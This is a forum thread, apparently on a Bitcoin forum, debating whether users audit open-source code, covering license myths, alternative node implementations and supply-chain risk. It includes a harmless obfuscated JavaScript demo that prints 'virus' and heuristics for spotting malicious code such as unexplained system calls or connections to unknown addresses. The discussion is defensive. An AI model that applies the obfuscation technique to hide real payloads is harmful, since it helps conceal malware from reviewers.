How many of you check the code of open source software?

[posi]

This is something I have been thinking about open-source software to avoid some kind of backdoor flaws cause I honestly don't verify their code but it because I am not tech-savvy neither did I have the knowledge in verifying the codes. However, what I usually check is if the software was license by MIT or another reputable Institute of Technology.

[1715475493]

1715475493

[1715475493]

1715475493

[1715475493]

1715475493

[1715475493]

1715475493

[NotATether]

This is something I have been thinking about open-source software to avoid some kind of backdoor flaws cause I honestly don't verify their code but it because I am not tech-savvy neither did I have the knowledge in verifying the codes. However, what I usually check is if the software was license by MIT or another reputable Institute of Technology.

The license used tells you nothing about how trustworthy a project is. Anyone can write a program or library that's full of computer-infecting malware and open-source it under the MIT license or some other free license such as the GPL or BSD license.

When verifying code, it's best to use your head:

- Is it calling process creating system calls (system, exec, execve and others)? Then it's trying to spawn another program.
- Does it make calls to encryption functions but doesn't do any security things? It might be encrypting files àla ransomware.
- It is opening network connections to unknown addresses? It might be stealing personal information.

Basically any checks you'd make before running an already built software are the ones you got to apply when you check source code.

[pooya87]

If, and it is a big IF, bitcoin client was not such a mission critical software with so many considerations and requirements including and not limited to avoiding unintentional chain splits we'd have seen at least two or three major rewrites and at least 3 or 4 competing pieces of software.

Although I haven't gone through each of the following to know how many of them are actual rewrites of the protocol but we already have at least a dozen full node implementation of bitcoin that can also be found on the P2P network. To name a few:
1. Gocoin
2. Bcoin
3. libbitcoin node
4. Parity bitcoin
5. BTCD
6. Stratis
7. bitcore
8. rust-bitcoin
(double check the links, I may have copied a wrong one here).

[BlackHatCoiner]

Making an open source software, doesn't mean that you have to trust it unless you're a code expert or have a documentation as @Coding Enthusiast wrote. I personally don't check others' code since it's a waste of time, at least if we're talking about big projects. If you give me a very simple program that simply encrypts a file and decrypts it using its own type of cryptography I would like to take a look.

On the other hand, if you give me Bitcoin Core or Electrum, you can't really expect me to spend thousands of hours on reading all those files. In order to prevent installation of a malware I'll have to take a look on all of them. I'll also have to trust myself for my reading skills.

Besides, if someone wants to hide something, he can do it very easily if he knows what he's doing. I wrote a non-sense javascript code that once you run it on an html page you get the word "virus":

Code:

<script>

function SendMessage(){
	var something = "wow"
	var yikes = "";
	var somethingElse = "766"
	var hours = 73
	var max = 0
	for(i=0; i<something.length; i++){
		for(j=0; j<somethingElse.length; j++){
			if(j == something.length-2){
				yikes = yikes.concat(somethingElse)
				
			}
			if(j == something.length-1){
				yikes = yikes.concat("972")
			}
		}
	
		if(0 > 1){
			
		}else{
			if(something.length = 3){
				yikes = yikes.substring(0,6)
				yikes = yikes.concat("75" + hours.toString())
			}
		}	
	}
	document.write(TakeMyMoney(yikes))
}

function TakeMyMoney(strin) {
    var money = strin.toString();
    var str = '';
    for (var i = 0; (i < money.length && money.substr(i, 2) !== '00'); i += 2)
        str += String.fromCharCode(parseInt(money.substr(i, 2), 16));
    return str;
}

SendMessage();

</script>

(Note that this is supposedly an easy example of messed code. A person that wants to harm you will try his best)

You can't understand what that thing does except if you run it. Unfortunately, for functions that cannot be just ran (such as on browser), you can't be sure that what you're reading is legit. So no, I don't believe that open source projects are guaranteed okay. On Bitcoin Core, I trust the 770 contributors that are experts on their job.

[ranochigo]

I do agree with you and somewhere along the line you have to trust someone or something. But if those who are probably honest (I like that you aren't claiming that they are since people can turn) go rogue, together with the developers, would there be many people left to discover their wrongdoings? 

Depends on who you trust, I guess. Scenarios like that can happen but the probability of it happening to major projects like Bitcoin Core is significantly lesser than one which is less active.

Which means you probably have to dedicate some time to inspect and/or learn the appropriate programming language for everything that you run. That's the only way out of that scenario and I can promise you trying to learn another programming language AND be proficient enough to discover malicious code won't be quick, much less potential vulnerabilities.

So no, I don't believe that open source projects are guaranteed okay. On Bitcoin Core, I trust the 770 contributors that are experts on their job.

You're trusting Github and the lead maintainers to be honest. The lead maintainer is the person that merges all the changes into the stable version.

Each Bitcoin Core version, including it's RCs are signed by a few of the contributors and they can be found here[1]

[1] https://github.com/bitcoin-core/gitian.sigs

[squatter]

I do agree with you and somewhere along the line you have to trust someone or something. But if those who are probably honest (I like that you aren't claiming that they are since people can turn) go rogue, together with the developers, would there be many people left to discover their wrongdoings? 

Depends on who you trust, I guess. Scenarios like that can happen but the probability of it happening to major projects like Bitcoin Core is significantly lesser than one which is less active.

There are additional financial incentives at play too, given the amount of value at risk across the ecosystem. Those who hold significant amounts of bitcoin and who are capable of auditing the open source software they use have a strong financial interest in doing so. This should act as an additional deterrent against exploits.

Looking at the poll there's more people in our community verifying the code of open source software than I expected. Nice.

This is Dev & Technical Discussion. Post the same poll in Bitcoin Discussion and watch what happens.

I also wonder what the results would look like with 1,700 votes rather than 17.

[Pmalek]

There are additional financial incentives at play too, given the amount of value at risk across the ecosystem. Those who hold significant amounts of bitcoin and who are capable of auditing the open source software they use have a strong financial interest in doing so. This should act as an additional deterrent against exploits.

Whenever there is a discussion about cheating or attacking the Bitcoin infrastructure, be it by introducing malicious code, performing a 51% attack, or in some other way, people usually focus on the fact that the attackers have an interest in seeing bitcoin be successful. Therefore, there would be no interest in performing an attack. Why? Because they are holders themselves. But what if they aren't, and their agenda, for some reason, is (or becomes) to cripple the network? Usually when any crime is committed, the first suspects are those closest to the victim. The people they trusted the most.

This is Dev & Technical Discussion. Post the same poll in Bitcoin Discussion and watch what happens.

I also wonder what the results would look like with 1,700 votes rather than 17.

Yeah, the results are surely not an indicator of how it really is. If this poll was posted across the entire forum, we would be looking at results showing 1% of total users verifying the code. Assuming most of them vote and do so honestly.

[posi]

This is something I have been thinking about open-source software to avoid some kind of backdoor flaws cause I honestly don't verify their code but it because I am not tech-savvy neither did I have the knowledge in verifying the codes. However, what I usually check is if the software was license by MIT or another reputable Institute of Technology.

The license used tells you nothing about how trustworthy a project is. Anyone can write a program or library that's full of computer-infecting malware and open-source it under the MIT license or some other free license such as the GPL or BSD license.

I digged deep into what you said and I confirmed that you are absolutely right but my thought was the MIT will do some background check on open source software before the license is issue to them. But, there must be a process for non tech savvy to check and verify the code of open source software.

When verifying code, it's best to use your head:

How can someone use his head when he barely have knowledge in coding.

[BrewMaster]

I digged deep into what you said and I confirmed that you are absolutely right but my thought was the MIT will do some background check on open source software before the license is issue to them. But, there must be a process for non tech savvy to check and verify the code of open source software.

MIT license is not issued by MIT to projects! it is a license that originated at MIT and it simply defines certain terms and conditions for open source software that anybody can use.

[ABCbits]

If, and it is a big IF, bitcoin client was not such a mission critical software with so many considerations and requirements including and not limited to avoiding unintentional chain splits we'd have seen at least two or three major rewrites and at least 3 or 4 competing pieces of software.

Although I haven't gone through each of the following to know how many of them are actual rewrites of the protocol but we already have at least a dozen full node implementation of bitcoin that can also be found on the P2P network. To name a few:
1. Gocoin
2. Bcoin
3. libbitcoin node
4. Parity bitcoin
5. BTCD
6. Stratis
7. bitcore
8. rust-bitcoin
(double check the links, I may have copied a wrong one here).

And there are many more,
1. Bitcoin Knots (https://bitcoinknots.org/)
2. therealbitcoin http://therealbitcoin.org/)
3. Wire (https://github.com/btcsuite/btcd/tree/master/wire), which is part of BTCD now
4. Bitcoin parity (https://github.com/paritytech/parity-bitcoin)
5. Multichain (https://www.multichain.com/)
6. Several bitcoin core fork aimed to realize softfork/hardfork in past (Bitcoin Unlimited, Bitcoin ABC, etc.)

MIT license is not issued by MIT to projects! it is a license that originated at MIT and it simply defines certain terms and conditions for open source software that anybody can use.

And there are few variant of MIT License template, even though mostly it's based on Expat License.

[squatter]

There are additional financial incentives at play too, given the amount of value at risk across the ecosystem. Those who hold significant amounts of bitcoin and who are capable of auditing the open source software they use have a strong financial interest in doing so. This should act as an additional deterrent against exploits.

Whenever there is a discussion about cheating or attacking the Bitcoin infrastructure, be it by introducing malicious code, performing a 51% attack, or in some other way, people usually focus on the fact that the attackers have an interest in seeing bitcoin be successful. Therefore, there would be no interest in performing an attack. Why? Because they are holders themselves. But what if they aren't, and their agenda, for some reason, is (or becomes) to cripple the network? Usually when any crime is committed, the first suspects are those closest to the victim. The people they trusted the most.

You're talking about the incentive that Bitcoin holders have against attacking Bitcoin, or a popular Bitcoin software.

I'm talking about something different. Bitcoin holders are taking a risk by holding their bitcoins in any given wallet. To protect that value, they have incentive to audit the software, if they are able to. I assume that, on average, a wallet like Bitcoin Core is perused far more carefully by far more people than other open source softwares that secure less (or no) value.

[NotATether]

You can't understand what that thing does except if you run it. Unfortunately, for functions that cannot be just ran (such as on browser), you can't be sure that what you're reading is legit. So no, I don't believe that open source projects are guaranteed okay. On Bitcoin Core, I trust the 770 contributors that are experts on their job.

Almost all JavaScript malware are not formatted as pretty as you presented it, they use a library called UglifyJS that makes it really compact and removes white spaces, variable names and in general just obfuscates the code (and makes it extremely difficult for a human to read) It has legitimate uses such as making scripts smaller for serving on the network (Google Ads platform uses it to show you ads), other companies use it as a way of hiding their source code, but it's also used by practically all JavaScript malware because the authors obviously don't want you to see that the browser is downloading a script that has a function "TakeMyMoney()", it's going to be renamed to something like "z".

In fact if you want to see these uglified scripts yourself, just open your browser's Developer Tools And go to the Network tab, open some JavaScript-heavy website such as Facebook or YouTube and click on any of the JavaScript files that have loaded to see what's inside them.

When verifying code, it's best to use your head:

How can someone use his head when he barely have knowledge in coding.

By looking at the things which don't require programming knowledge to understand. If you see a random IP address or bitcoin address in the code, how do you know it's not being used for malicious purposes such as stealing bitcoin or sending passwords there?

If you see the project having a misspelled name such as electrum --> electum or electrom, it is almost certainly a malicious project that is tricking people to download the wrong program.

In fact there was a malicious python library on PyPI last year with a similar name to "jellyfish" and "dateutil", two widely used libraries, which were stealing developers' GPG and SSH keys and sending them to someone's remote server. They were quickly removed when it was discovered. https://securityaffairs.co/wordpress/94715/hacking/malicious-python-libraries.html

Bitcoin holders are taking a risk by holding their bitcoins in any given wallet. To protect that value, they have incentive to audit the software, if they are able to. I assume that, on average, a wallet like Bitcoin Core is perused far more carefully by far more people than other open source softwares that secure less (or no) value.

They should not be using any of those different protocol implementations listed above than bitcoin core if they want to be safe. It's too difficult to audit that a given protocol implementation follows the rules fully and thus does not have security vulnerabilities that would come from a faulty protocol implementation (which could potentially allow people to steal others' bitcoins depending on the severity). Because all of those auditing resources are devoted to Core.

[pooya87]

1. Bitcoin Knots (https://bitcoinknots.org/)

I don't think we can categorize this as a "different implementation". It is a direct fork from bitcoin core and the only developer (luke-jr) is part of bitcoin core team.
This is just additional features on top of core from what I understand (I think it belongs to the same category as something like Armory).

2. therealbitcoin http://therealbitcoin.org/)

With a quick look at its source code it seems like another copy of bitcoin core but starting from a very old version and I don't think it has been updated either!!! I can't even find OP_CHECKLOCKTIMEVERIFY in its source code let alone any SegWit stuff

4. Bitcoin parity (https://github.com/paritytech/parity-bitcoin)

Also my number 4

3. Wire (https://github.com/btcsuite/btcd/tree/master/wire), which is part of BTCD now
5. Multichain (https://www.multichain.com/)

I have to check these two out by spending more time.

(Thanks for all the links above.)

6. Several bitcoin core fork aimed to realize softfork/hardfork in past (Bitcoin Unlimited, Bitcoin ABC, etc.)

All exact copies of bitcoin core and they even forked core. Besides they are all altcoin clients whereas so far all the listed projects were bitcoin clients.

[exobyte]

Reading through open source is quite tricky and I don't know enough of the language(s) to understand and be certain that the code is secure. I recently had a developer help me implement DigiShield in the chain. Apart from knowing that he was a trusted developer, all I could do was compare the lines of change and analyse (to the best of my knowledge) why a function was added, what the function returned and so on.

I usually trust open source repos that have multiple forks and frequent commits. These do not automatically guarantee that the code is without malicious sections, but I feel a little more confident that more than 1 set of eyes has looked at the code.

[Lovecove]

With Bitcoin's price being almost $40,000... It's just making me wonder... now that I'm starting to pour more money into BTC... yeah i just can't help but wonder how secure Bitcoin is.

I understand that the checks and balances with everyone having to go through the ledger and "no cheating" can happen because everyone must agree before a transaction can go through...

But what about if they attack Bitcoin's software instead?

Every miner uses the newest Update... the updates are centralized:

1. It's officially hosted on one site, downloaded at a central location.
2. Not all miners check or look at the code or even work on it -- a few devs do. If those few devs decide to inject malicious code... everyone else is just going to download and implement it.
3. There are no real security checks with the updates -- no formal body of regulators or official code security team is going to check it for malware... yes, it's open source and everyone can view it -- but then you'd need volunteers to check it regularly. Often, people who check the code only do so after everyone updated already.

So I ask, as bitcoin gets more and more expensive and large financial institutions are considering pouring their holdings in ... the people behind the security code are legitimately not as decentralized.

[Pmalek]

@Lovecove
Your questions are valid. However, the development community seems to be well-suited and there are many individuals who contribute to Bitcoin Core.
According to https://bitcoin.org/en/development#bitcoin-core-contributors, there are 30 different people who have contributed at least 100 commits. There are many others who have contributed less. I would assume that a great deal of these devs have gone through, or are still inspecting the codebase.

For something awful to happen, all of them (and many others) would have to turn a blind eye and go rogue around the same time.     

[ABCbits]

For something awful to happen, all of them (and many others) would have to turn a blind eye and go rogue around the same time.     

Additionally, Bitcoin protocol need both miner and node. So if it happened, it will cause hard-fork (unless the software still follow Bitcoin protocol and perform covert attack such as preventing specific transaction included in block) while Bitcoin network itself is halted because there's no block mined. Then it's just matter before miner find out about it and fix their system.

[DaveF]

It's also how far down the rabbit hole do you want to go?
So you checked the code.
If you have to compile the code do you check the compiler? You checked the dependencies, did you check the what the dependencies needed?
https://bitpay.com/blog/npm-package-vulnerability-copay/

Hell, have you checked the TCP/IP stack drivers on your PC or Phone? Otherwise you really can't know where it's transmitting data to.
Did you check your router to make sure it's not one of the ones that can be hacked and have a mitm attack installed?

https://nakedsecurity.sophos.com/2012/10/01/hacked-routers-brazil-vb2012/
https://blog.alcide.io/new-kubernetes-man-in-the-middle-mitm-attack-leverage-ipv6-router-advertisements

If it's in a hot or warm wallet and online there is a risk. Yes you can mitigate it, but reading and verifying the code is only 1 part of it.

How about the device itself, did you check your USB keyboard today?
https://hackerwarehouse.com/product/keygrabber/

Look I got a copy of your password and since you verified your mnemonic I got that too.

-Dave

[PrimeNumber7]

Every miner uses the newest Update... the updates are centralized:

1. It's officially hosted on one site, downloaded at a central location.
2. Not all miners check or look at the code or even work on it -- a few devs do. If those few devs decide to inject malicious code... everyone else is just going to download and implement it.
3. There are no real security checks with the updates -- no formal body of regulators or official code security team is going to check it for malware... yes, it's open source and everyone can view it -- but then you'd need volunteers to check it regularly. Often, people who check the code only do so after everyone updated already.

So I ask, as bitcoin gets more and more expensive and large financial institutions are considering pouring their holdings in ... the people behind the security code are legitimately not as decentralized.

Mining pools typically are technologically advanced enough to build their own bitcoin implementations that is custom to their pool. Also, if a miner were to have malicious software, this would not affect any user of bitcoin.

As software is updated with Git, the specific changes are highlighted. This means you can verify the code one day in its entirety, and as the software is upgraded, would only need to review the specific changes as opposed to reviewing the entire code again.

[BrewMaster]

As software is updated with Git, the specific changes are highlighted. This means you can verify the code one day in its entirety, and as the software is upgraded, would only need to review the specific changes as opposed to reviewing the entire code again.

that is only possible and easy when you check each commit every day individually. but if you are checking the difference from version to version (for example from bitcoin core version 0.19 to 0.20) then there is going to be a large number of commits with a huge amount of code changed, added or removed which makes it extremely difficult.

in core's example there was 2033 commits, 1254 files changed with 78,888 additions and 72,492 deletions.
https://github.com/bitcoin/bitcoin/compare/v0.19.2...v0.20.0